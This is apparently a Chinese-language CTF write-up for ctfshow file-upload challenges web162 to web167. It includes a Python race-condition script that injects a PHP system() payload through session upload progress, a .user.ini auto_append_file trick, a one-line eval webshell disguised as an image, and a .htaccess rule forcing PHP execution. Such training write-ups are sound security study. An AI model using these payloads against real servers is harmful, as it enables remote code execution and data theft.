ctfshow web入门 文件上传web162--web167

web162

session文件包含+条件竞争

直接包含不传马了

我们上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,没有用。但是如果我们上传的速度比服务器删的速度快,就可以了。

上传.user.ini

php 复制代码
GIF89a
auto_append_file=/tmp/sess_hhh

这后面这个hhh,你们可以自己修改,把脚本的也改了就是
脚本

python 复制代码
import requests
import threading
import re

session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'yu22x tql'  #文件名,随便改就行
}
cookies = {
    'PHPSESSID': sess
}


def write(): #上传文件竞争过程
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True: #每次竞争完都访问一下url/uoload看有没有flag
        r = session.get(url2)
        if 'flag' in r.text:
            flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
            print(flag.findall(r.text))


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

web163

一样的操作,如上题,如果代码跑不出来,要么忘记改要么就是没有放包

web164

二次渲染,暂时不会

web165

二次渲染也是不会

web166

只能上传压缩文件,我们就在压缩文件末尾 里面添加一句话木马就行了

然后进入下载页面的时候抓包("下载文件的时候抓包")
点击下载文件不用抓包 进入页面

#### 本题总结可能你们并不觉得这道题难但是这道题确实难到我了,我做了很久总结一下可能错误的点

压缩文件太大或者太小导致上传不成功或者很难去

web167

只能传jpg文件上传图片马

m.png

php 复制代码
<?php eval($_POST[a]);?>

访问upload没权限查了一下要使用.htaccess对所有文件进行php解析
.htaccess

php 复制代码
Sethandler application/x-httpd-php
<!-将该目录及子目录下的文件均按照php文件解析执行-->

访问上传的文件,进行命令执行

相关推荐
鲨鱼辣椒丶D17 分钟前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
火红的小辣椒12 小时前
XSS基础
android·web安全
Z3r4y13 小时前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小镇航海家1 天前
红日靶场1学习笔记
网络·笔记·学习·web安全·渗透测试
你怎么睡得着的!1 天前
【web安全】——XSS漏洞
安全·web安全·xss
网安kk1 天前
2024年三个月网络安全(黑客技术)入门教程
网络·安全·web安全
sleepywin2 天前
【BUUCTF N1BOOK】[第一章 web入门]
web安全·网络安全